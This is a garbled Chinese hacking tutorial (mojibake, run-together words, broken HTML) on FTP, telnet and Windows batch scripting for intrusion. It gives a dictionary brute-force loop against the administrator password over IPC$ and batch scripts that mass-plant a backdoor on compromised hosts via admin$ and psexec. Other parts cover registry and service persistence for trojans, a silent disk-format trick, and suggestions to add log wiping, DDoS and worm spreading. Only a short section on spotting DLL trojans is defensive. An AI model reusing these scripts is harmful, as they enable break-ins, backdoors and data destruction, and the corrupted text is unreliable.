用戶名和密碼都是ftp,密碼是不顯示的。當(dāng)提示****loggedin時(shí),就說明登陸成功。這里因?yàn)槭悄涿顷懀杂脩麸@示為Anonymous。

接下來就要介紹具體命令的使用方法了。

dir跟DOS命令一樣,用于查看服務(wù)器的文件,直接敲上dir回車,就可以看到此ftp服務(wù)器上的文件。

cd進(jìn)入某個(gè)文件夾。

get下載文件到本地機(jī)器。

put上傳文件到遠(yuǎn)程服務(wù)器。這就要看遠(yuǎn)程ftp服務(wù)器是否給了你可寫的權(quán)限了,如果可以,呵呵,該怎么利用就不多說了,大家就自由發(fā)揮去吧。

delete刪除遠(yuǎn)程ftp服務(wù)器上的文件。這也必須保證你有可寫的權(quán)限。

bye退出當(dāng)前連接。

quit同上。

八,telnet

功能強(qiáng)大的遠(yuǎn)程登陸命令,幾乎所有的入侵者都喜歡用它,屢試不爽。為什么?它操作簡(jiǎn)單,如同使用自己的機(jī)器一樣,只要你熟悉DOS命令,在成功以administrator身份連接了遠(yuǎn)程機(jī)器后,就可以用它來干你想干的一切了。下面介紹一下使用方法,首先鍵入telnet回車,再鍵入help查看其幫助信息。

然后在提示符下鍵入openIP回車,這時(shí)就出現(xiàn)了登陸窗口,讓你輸入合法的用戶名和密碼,這里輸入任何密碼都是不顯示的。

當(dāng)輸入用戶名和密碼都正確后就成功建立了telnet連接,這時(shí)候你就在遠(yuǎn)程主機(jī)上具有了和此用戶一樣的權(quán)限,利用DOS命令就可以實(shí)現(xiàn)你想干的事情了。這里我使用的超級(jí)管理員權(quán)限登陸的。來自:/%B6%E0%B3%A4%D6%AA%CA%一.簡(jiǎn)單批處理內(nèi)部命令簡(jiǎn)介1.Echo命令

打開回顯或關(guān)閉請(qǐng)求回顯功能,或顯示消息。如果沒有任何參數(shù),echo命令將顯示當(dāng)前回顯設(shè)置。語法:

echo[{│off}][message]

Sample:@echooff/echohelloworld在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)(也稱為管道符號(hào),一般用>>>^)結(jié)合來實(shí)現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來。2.@命令表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對(duì)方看到你使用的命令啦。

Sample:@echooff

@echoNowinitializingtheprogram,pleasewaitaminite...

@formatX:/q/u/autoset(format這個(gè)命令是不可以使用/y這個(gè)參數(shù)的,可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們,效果和/y是一樣的。)3.Goto命令

指定跳轉(zhuǎn)到標(biāo)簽,找到標(biāo)簽后,程序?qū)⑻幚韽南乱恍虚_始的命令。語法:gotolabel(label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)

Sample:

if{%1}=={}

if{%2}=={}(如果這里的if、%1、%2你不明白的話,先跳過去,后面會(huì)有詳細(xì)的解釋。)

@Remcheckparametersifnullshowusage

:noparms

echoUsage:monitor.batServerIPPortNumber

gotoend標(biāo)簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個(gè):用來表示這個(gè)字母是標(biāo)簽,goto命令就是根據(jù)這個(gè):來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會(huì)理解你的意圖啊。4.Rem命令注釋命令,在C語言中相當(dāng)與,它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和你自己日后修改。

RemMessage

Sample:@RemHereisthedescription.5.Pause命令運(yùn)行Pause命令時(shí),將顯示下面的消息:

Pressanykeytocontinue...Sample:

@echooff

:begin

copya:*.*d:\back

echoPleaseputanewdiskintodriverA

pause

gotobegin在這個(gè)例子中,驅(qū)動(dòng)器A中磁盤上的所有文件均復(fù)制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅(qū)動(dòng)器A時(shí),pause命令會(huì)使程序掛起,以便您更換磁盤,然后按任意鍵繼續(xù)處理。6.Call命令從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。call命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用Call,它將不會(huì)在命令行起作用。

語法:

call[[Drive:][Path]FileName[BatchParameters]][:label[arguments]]參數(shù):

[Drive:}[Path]FileName指定要調(diào)用的批處理程序的位置和名稱。filename參數(shù)必須具有.bat或.cmd擴(kuò)展名。7.start命令調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來調(diào)用。

常用參數(shù):

MIN開始時(shí)窗口最小化

SEPARATE在分開的空間內(nèi)開始16位Windows程序

HIGH在HIGH優(yōu)先級(jí)類別開始應(yīng)用程序

REALTIME在REALTIME優(yōu)先級(jí)類別開始應(yīng)用程序

WAIT啟動(dòng)應(yīng)用程序并等候它結(jié)束

parameters這些為傳送到命令/程序的參數(shù)執(zhí)行的應(yīng)用程序是32-位GUI應(yīng)用程序時(shí),CMD.EXE不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會(huì)發(fā)生。

8.choice命令choice使用此命令可以讓用戶輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234......如:choice/c:dmedefrag,mem,end將顯示

defrag,mem,end[D,M,E]?Sample:

Sample.bat的內(nèi)容如下:@echooff

choice/c:dmedefrag,mem,end

iferrorlevel3gotodefrag(應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼)

iferrorlevel2gotomem

iferrotlevel1gotoend:defrag

c:\dos\defrag

gotoend

:mem

mem

gotoend

:end

echogoodbye此文件運(yùn)行后,將顯示defrag,mem,end[D,M,E]?用戶可選擇dme,然后if語句將作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以gotoend將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示goodbye,文件結(jié)束。9.If命令if表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。有三種格式:1)、if"參數(shù)"=="字符串"待執(zhí)行的命令

參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))如if"%1"=="a"formata:

if{%1}=={}

if{%2}=={}2)、ifexist文件名待執(zhí)行的命令

如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。

如ifexistconfig.syseditconfig.sys3)、iferrorlevel/ifnoterrorlevel數(shù)字待執(zhí)行的命令

如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。

如iferrorlevel2gotox2

DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS,稱為錯(cuò)誤碼errorlevel或稱返回碼,常見的返回碼為0、1。10.for命令

for命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。

在批處理文件中使用FOR命令時(shí),指定變量請(qǐng)使用%%variablefor{%variable│%%variable}(set)docommand[CommandLineOptions]

%variable指定一個(gè)單一字母可替換的參數(shù)。

(set)指定一個(gè)或一組文件??梢允褂猛ㄅ浞?。

command指定對(duì)每個(gè)文件執(zhí)行的命令。

command-parameters為特定命令指定參數(shù)或命令行開關(guān)。在批處理文件中使用FOR命令時(shí),指定變量請(qǐng)使用%%variable

而不要用%variable。變量名稱是區(qū)分大小寫的,所以%i不同于%I如果命令擴(kuò)展名被啟用,下列額外的FOR命令格式會(huì)受到支持:

FOR/D%variableIN(set)DOcommand[command-parameters]如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。FOR/R[[drive:]path]%variableIN(set)DOcommand[command-parameters]檢查以[drive:]path為根的目錄樹,指向每個(gè)目錄中的FOR語句。如果在/R后沒有指定目錄,則使用當(dāng)前目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹。FOR/L%variableIN(start,step,end)DOcommand[command-parameters]該集表示以增量形式從開始到結(jié)束的一個(gè)數(shù)字序列。

因此,(1,1,5)將產(chǎn)生序列12345,(5,-1,1)將產(chǎn)生

序列(54321)。FOR/F["options"]%variableIN(file-set)DOcommand

FOR/F["options"]%variableIN("string")DOcommand

FOR/F["options"]%variableIN('command')DOcommand或者,如果有usebackq選項(xiàng):FOR/F["options"]%variableIN(file-set)DOcommand

FOR/F["options"]%variableIN("string")DOcommand

FOR/F["options"]%variableIN('command')DOcommandfilenameset為一個(gè)或多個(gè)文件名。繼續(xù)到filenameset中的下一個(gè)文件之前,每份文件都已被打開、讀取并經(jīng)過處理。

處理包括讀取文件,將其分成一行行的文字,然后將每行解析成零或更多的符號(hào)。然后用已找到的符號(hào)字符串變量值調(diào)用For循環(huán)。以默認(rèn)方式,/F通過每個(gè)文件的每一行中分開的第一個(gè)空白符號(hào)。跳過空白行。您可通過指定可選"options"參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè)指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為:eol=c-指一個(gè)行注釋字符的結(jié)尾(就一個(gè))

skip=n-指在文件開始時(shí)忽略的行數(shù)。

delims=xxx-指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。

tokens=x,y,m-n-指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代的for本身。這會(huì)導(dǎo)致額外變量名稱的

格式為一個(gè)范圍。通過nth符號(hào)指定m符號(hào)字符串中的最后一個(gè)字符星號(hào),那么額外的變量將在最后一個(gè)符號(hào)解析之分配并接受行的保留文本。

usebackq-指定新語法已在下類情況中使用:

在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且引號(hào)字符為文字字符串命令并允許在file-set中使用雙引號(hào)擴(kuò)起文件名稱。sample1:

FOR/F"eol=;tokens=2,3*delims=,"%iin(myfile.txt)docommand會(huì)分析myfile.txt中的每一行,忽略以分號(hào)打頭的那些行,將每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給for程序體;用逗號(hào)和/或空格定界符號(hào)。請(qǐng)注意,這個(gè)for程序體的語句引用%i來取得第二個(gè)符號(hào),引用%j來取得第三個(gè)符號(hào),引用%k來取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件名,您需要用雙引號(hào)將文件名括起來。為了用這種方式來使用雙引號(hào),您還需要使用usebackq選項(xiàng),否則,雙引號(hào)會(huì)被理解成是用作定義某個(gè)要分析的字符串的。%i專門在for語句中得到說明,%j和%k是通過tokens=選項(xiàng)專門得到說明的。您可以通過tokens=一行指定最多26個(gè)符號(hào),只要不試圖說明一個(gè)高于字母'z'或'Z'的變量。請(qǐng)記住,F(xiàn)OR變量是單一字母、分大小寫和全局的;同時(shí)不能有52個(gè)以上都在使用中。您還可以在相鄰字符串上使用FOR/F分析邏輯;方法是,用單引號(hào)將括號(hào)之間的filenameset括起來。這樣,該字符串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。最后,您可以用FOR/F命令來分析命令的輸出。方法是,將括號(hào)之間的filenameset變成一個(gè)反括字符串。該字符串會(huì)被當(dāng)作命令行,傳遞到一個(gè)子CMD.EXE,其輸出會(huì)被抓進(jìn)內(nèi)存,并被當(dāng)作文件分析。因此,以下例子:FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i>/P<>P<會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。>/P<>P<另外,F(xiàn)OR變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列選項(xiàng)語法:>/P<>P<~I-刪除任何引號(hào)("),擴(kuò)充%I

%~fI-將%I擴(kuò)充到一個(gè)完全合格的路徑名

%~dI-僅將%I擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)

%~pI-僅將%I擴(kuò)充到一個(gè)路徑

%~nI-僅將%I擴(kuò)充到一個(gè)文件名

%~xI-僅將%I擴(kuò)充到一個(gè)文件擴(kuò)展名

%~sI-擴(kuò)充的路徑只含有短名

%~aI-將%I擴(kuò)充到文件的文件屬性

%~tI-將%I擴(kuò)充到文件的日期/時(shí)間

%~zI-將%I擴(kuò)充到文件的大小

%~$PATH:I-查找列在路徑環(huán)境變量的目錄,并將%I擴(kuò)充到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量未被定義,或者沒有找到文件,此組合鍵會(huì)擴(kuò)充空字符串可以組合修飾符來得到多重結(jié)果:%~dpI-僅將%I擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑

%~nxI-僅將%I擴(kuò)充到一個(gè)文件名和擴(kuò)展名

%~fsI-僅將%I擴(kuò)充到一個(gè)帶有短名的完整路徑名

%~dp$PATH:i-查找列在路徑環(huán)境變量的目錄,并將%I擴(kuò)充到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。

%~ftzaI-將%I擴(kuò)充到類似輸出線路的DIR在以上例子中,%I和PATH可用其他有效數(shù)值代替。%~語法用一個(gè)有效的FOR變量名終止。選取類似%I的大寫變量名比較易讀,而且避免與不分大小寫的組合鍵混淆。以上是MS的官方幫助,下面我們舉幾個(gè)例子來具體說明一下For命令在入侵中的用途。sample2:利用For命令來實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。

我們用netuseipipc$"password"/u:"administrator"來嘗試這和目標(biāo)主機(jī)進(jìn)行連接,當(dāng)成功時(shí)記下密碼。

最主要的命令是一條:for/fi%in(dict.txt)donetuseipipc$"i%"/u:"administrator"

用i%來表示admin的密碼,在dict.txt中這個(gè)取i%的值用netuse命令來連接。然后將程序運(yùn)行結(jié)果傳遞給find命令--

for/fi%%in(dict.txt)donetuseipipc$"i%%"/u:"administrator"│find":命令成功完成">>D:\ok.txt,這樣就ko了。sample3:你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開心的一件事都會(huì)變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡(jiǎn)化日常或重復(fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。主要命令也只有一條:(在批處理文件中使用FOR命令時(shí),指定變量使用%%variable)

@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcalldoor.bat%%i%%j%%k>BR<tokens的用法請(qǐng)參見上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)>/P<>P<%i%j%k。>BR<而cultivate.bat無非就是用netuse命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼>/P<>P<(Iferrorlever=)來篩選成功種植后門的主機(jī),并echo出來,或者echo到指定的文件。>BR<delims=表示vivtim.txt中的內(nèi)容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容>/P<>P<是什么樣的了。應(yīng)該根據(jù)%%i%%j%%k表示的對(duì)象來排列,一般就是ippasswordusername。>/P<>P<>BR<代碼雛形:>BR<---------------cutherethensaveasabatchfile(Icallitmain.bat)--------------------->/P<>P<------>BR<@echooff>BR<@if"%1"==""gotousage

@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k>BR<@gotoend>BR<:usage>BR<@echorunthisbatchindosmodle.orjustdouble-clickit.>BR<:end>BR<---------------cutherethensaveasabatchfile(Icallitmain.bat)--------------------->/P<>P<------>/P<>P<>BR<-------------------cutherethensaveasabatchfile(Icallitdoor.bat)------------------>/P<>P<----------->BR<@netuse>Ahref="file://%251/ipc$">\\%1\ipc$%3/u:"%2"

@iferrorlevel1gotofailed

@echoTryingtoestablishtheIPC$connection............OK

@copywindrv32.exe\\%1\admin$\system32&&ifnoterrorlevel1echoIP%1USER%2PWD%3>>ko.txt

@psexec%1c:\winnt\system32\windrv32.exe

@psexec%1netstartwindrv32&&ifnoterrorlevel1echo%1Backdoored>>ko.txt

:failed

@echoSorrycannotconnectedtothevictim.

-----------------cutherethensaveasabatchfile(Icallitdoor.bat)--------------------------------這只是一個(gè)自動(dòng)種植后門批處理的雛形,兩個(gè)批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容

尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數(shù)批處理中可以使用參數(shù),一般從1%到9%這九個(gè),當(dāng)有多個(gè)參數(shù)時(shí)需要用shift來移動(dòng),這種情況并不多見,我們就不考慮它了。

sample1:fomat.bat@echooff

if"%1"=="a"formata:

:format

@formata:/q/u/auotset

@echopleaseinsertanotherdisktodriverA.

@pause

@gotofomat

這個(gè)例子用于連續(xù)地格式化幾張軟盤,所以用的時(shí)候需在dos窗口輸入fomat.bata,呵呵,好像有點(diǎn)畫蛇添足了~sample2:當(dāng)我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令,弄不好就打錯(cuò)了,所以我們不如把一些固定命令寫入一個(gè)批處理,把肉雞地ippasswordusername當(dāng)著參數(shù)來賦給這個(gè)批處理,這樣就不用每次都打命令了。

@echooff

@netuse1%ipc$"2%"/u:"3%"注意哦,這里PASSWORD是第二個(gè)參數(shù)。

@iferrorlevel1echoconnectionfailed

怎么樣,使用參數(shù)還是比較簡(jiǎn)單的吧?你這么帥一定學(xué)會(huì)了.No.3三.如何使用組合命令(CompoundCommand)1.&Usage:第一條命令&第二條命令[&第三條命令...]用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功Sample:

C:\>dirz:&dirc:\Ex4rch

Thesystemcannotfindthepathspecified.

VolumeindriveChasnolabel.

VolumeSerialNumberis0078-59FBDirectoryofc:\Ex4rch2002-05-1423:51.

2002-05-1423:51..

2002-05-1423:5114sometips.gif2.&&

Usage:第一條命令&&第二條命令[&&第三條命令...]用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒有出錯(cuò)則一直執(zhí)行完所有命令;Sample:

C:\>dirz:&&dirc:\Ex4rch

Thesystem……四、管道命令的使用1.│命令

Usage:第一條命令│第二條命令[│第三條命令...]

將第一條命令的結(jié)果作為第二條命令的參數(shù)來使用,記得在unix中這種方式很常見。sample:

time/t>>D:\IP.log

netstat-n-ptcp│find":3389">>D:\IP.log

startExplorer看出來了么?用于終端服務(wù)允許我們?yōu)橛脩糇远x起始的程序,來實(shí)現(xiàn)讓用戶運(yùn)行下面這個(gè)bat,以獲得登錄用戶的IP。2.>、>>輸出重定向命令

將一條命令或某個(gè)程序輸出結(jié)果的重定向到特定文件中,>與>>的區(qū)別在于,>會(huì)清除調(diào)原有文件中的內(nèi)容后寫入指定文件,而>>只會(huì)追加內(nèi)容到指定文件中,而不會(huì)改動(dòng)其中的內(nèi)容。sample1:

echohelloworld>c:\hello.txt(stupidexample?)sample2:

時(shí)下DLL木馬盛行,我們知道system32是個(gè)捉迷藏的好地方,許多木馬都削尖了腦袋往那里鉆,DLL馬也不例外,針對(duì)這一點(diǎn)我們可以在安裝好系統(tǒng)和必要的應(yīng)用程序后,對(duì)該目錄下的EXE和DLL文件作一個(gè)記錄:

運(yùn)行CMD--轉(zhuǎn)換目錄到system32--dir*.exe>exeback.txt&dir*.dll>dllback.txt,

這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,

日后如發(fā)現(xiàn)異常但用傳統(tǒng)的方法查不出問題時(shí),則要考慮是不是系統(tǒng)中已經(jīng)潛入DLL木馬了.

這時(shí)我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然后運(yùn)行:

CMD--fcexeback.txtexeback1.txt>diff.txt&fcdllback.txtdllback1.txt>diff.txt.(用FC命令比較前后兩次的DLL和EXE文件,并將結(jié)果輸入到diff.txt中),這樣我們就能發(fā)現(xiàn)一些多出來的DLL和EXE文件,然后通過查看創(chuàng)建時(shí)間、版本、是否經(jīng)過壓縮等就能夠比較容易地判斷出是不是已經(jīng)被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32/utrojan.dll將后門DLL文件注銷掉,再把它移到回收站里,若系統(tǒng)沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。3.<、>&、<&

<從文件中而不是從鍵盤中讀入命令輸入。

>&將一個(gè)句柄的輸出寫入到另一個(gè)句柄的輸入中。

<&從一個(gè)句柄讀取輸入并將其寫入到另一個(gè)句柄輸出中。

這些并不常用,也就不多做介紹。五.如何用批處理文件來操作注冊(cè)表在入侵過程中經(jīng)?;夭僮髯?cè)表的特定的鍵值來實(shí)現(xiàn)一定的目的,例如:為了達(dá)到隱藏后門、木馬程序而刪除Run下殘余的鍵值。或者創(chuàng)建一個(gè)服務(wù)用以加載后門。當(dāng)然我們也會(huì)修改注冊(cè)表來加固系統(tǒng)或者改變系統(tǒng)的某個(gè)屬性,這些都需要我們對(duì)注冊(cè)表操作有一定的了解。下面我們就先學(xué)習(xí)一下如何使用.REG文件來操作注冊(cè)表.(我們可以用批處理來生成一個(gè)REG文件)

關(guān)于注冊(cè)表的操作,常見的是創(chuàng)建、修改、刪除。1.創(chuàng)建

創(chuàng)建分為兩種,一種是創(chuàng)建子項(xiàng)(Subkey)我們創(chuàng)建一個(gè)文件,內(nèi)容如下:WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]然后執(zhí)行該腳本,你就已經(jīng)在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創(chuàng)建了一個(gè)名字為"hacker"的子項(xiàng)。另一種是創(chuàng)建一個(gè)項(xiàng)目名稱那這種文件格式就是典型的文件格式,和你從注冊(cè)表中導(dǎo)出的文件格式一致,內(nèi)容如下:WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Invader"="Ex4rch"

"Door"=C:\\WINNT\\system32\\door.exe

"Autodos"=dword:02這樣就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下

新建了:Invader、door、about這三個(gè)項(xiàng)目

Invader的類型是"Stringvalue"

door的類型是"REGSZvalue"

Autodos的類型是"DWORDvalue"2.修改

修改相對(duì)來說比較簡(jiǎn)單,只要把你需要修改的項(xiàng)目導(dǎo)出,然后用記事本進(jìn)行修改,然后導(dǎo)入(regedit/s)即可。3.刪除

我們首先來說說刪除一個(gè)項(xiàng)目名稱,我們創(chuàng)建一個(gè)如下的文件:WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Ex4rch"=-執(zhí)行該腳本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被刪除了;我們?cè)倏纯磩h除一個(gè)子項(xiàng),我們創(chuàng)建一個(gè)如下的腳本:WindowsRegistryEditorVersion5.00[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]執(zhí)行該腳本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已經(jīng)被刪除了。相信看到這里,.reg文件你基本已經(jīng)掌握了。那么現(xiàn)在的目標(biāo)就是用批處理來創(chuàng)建特定內(nèi)容的.reg文件了,記得我們前面說道的利用重定向符號(hào)可以很容易地創(chuàng)建特定類型的文件。samlpe1:如上面的那個(gè)例子,如想生成如下注冊(cè)表文件WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128只需要這樣:

@echoWindowsRegistryEditorVersion5.00>>Sample.reg

@echo[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg

@echo"Invader"="Ex4rch">>Sample.reg

@echo"door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo"Autodos"=dword:02>>Sample.regsamlpe2:

我們現(xiàn)在在使用一些比較老的木馬時(shí),可能會(huì)在注冊(cè)表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一個(gè)鍵值用來實(shí)現(xiàn)木馬的自啟動(dòng).但是這樣很容易暴露木馬程序的路徑,從而導(dǎo)致木馬被查殺,相對(duì)地若是將木馬程序注冊(cè)為系統(tǒng)服務(wù)則相對(duì)安全一些.下面以配置好地IRC木馬DSNX為例(名為windrv32.exe)@startwindrv32.exe

@attrib+h+rwindrv3

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論